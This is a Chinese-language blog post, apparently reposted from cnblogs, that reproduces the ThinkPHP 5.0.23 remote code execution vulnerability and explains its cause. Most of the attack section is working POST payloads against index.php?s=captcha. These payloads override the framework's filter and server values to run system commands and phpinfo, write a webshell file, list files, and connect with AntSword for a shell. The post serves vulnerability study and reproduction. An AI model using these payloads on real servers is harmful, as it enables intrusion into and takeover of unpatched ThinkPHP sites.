ICode9

精准搜索请尝试: 精确搜索
首页 > 编程语言> 文章详细

ThinkPHP(5.0.23-rce)任意代码执行漏洞复现及原理

2022-03-29 18:35:05  阅读:234  来源: 互联网

标签:5.0 __ 23 get METHOD server filter 代码执行 method


漏洞详情:

攻击者可向缓存文件内写入PHP代码,导致远程代码执行。根据漏洞利用能得出通过s参数传递具体的路由。参考http://blog.nsfocus.net/thinkphp-full-version-rce-vulnerability-analysis/?tdsourcetag=s_pctim_aiomsg梳理出的漏洞流程图:

20190116110438.png

可以得到重要是参数为method和filter。value是传入的数组值,由server决定。

解析POC:

_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=id

_method=__construct:调用构造方法__construct(),可以覆盖Request类的任意成员变量,这里修改了filter和server(value)两个值,同时覆盖了method。

filter=system:传递filter值,覆盖原有值。

server[REQUEST_METHOD]=id:在调用$this→server('REQUEST_METHOD')时指定了键值,所以通过传入server数组即可。

method=get:这里是通过check()方法分析$rules = isset(self::$rules[$method]) ? self::$rules[$method] : [];得到。它的返回值由$rules决定,而$rules的值取决于键值$method,当我们指定$method为get时,可以正确获取到路由信息,从而通过checkRoute()检查,此时我们通过指定method=get覆盖$this->method的值即可

大佬的分析太妙了,这样子之后,我们就可以直接修改filter以及server(value)的值了。将我们需要的值传递覆盖之后,获取正常的路由信息,就能返回我们想要的信息。

漏洞影响版本:

影响 ThinkPHP 版本 5.x < 5.1.31, <= 5.0.23

漏洞利用:

index.php?s=captcha

漏洞复现:

根据POC我们使用hackbar进行测试,可以执行,后面尝试获取phpinfo。

undefined

将post值改为:_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1。

undefined

undefined

第一步中可以执行system命令,尝试echo写入是否可以执行。

将post值改为:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo 1

undefined

可以执行echo,后面尝试写入一句话木马。

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo '' > 1.php

undefined

执行之后页面无回现,尝试调用ls命令。

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

undefined

写入成功,上蚁剑尝试。

undefined

拿到Shell,复现完成。

POC回看:

使用hackbar,

url:/index.php?s=captcha

post:_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=id

标签:5.0,__,23,get,METHOD,server,filter,代码执行,method
来源: https://www.cnblogs.com/wjun336/p/16073237.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有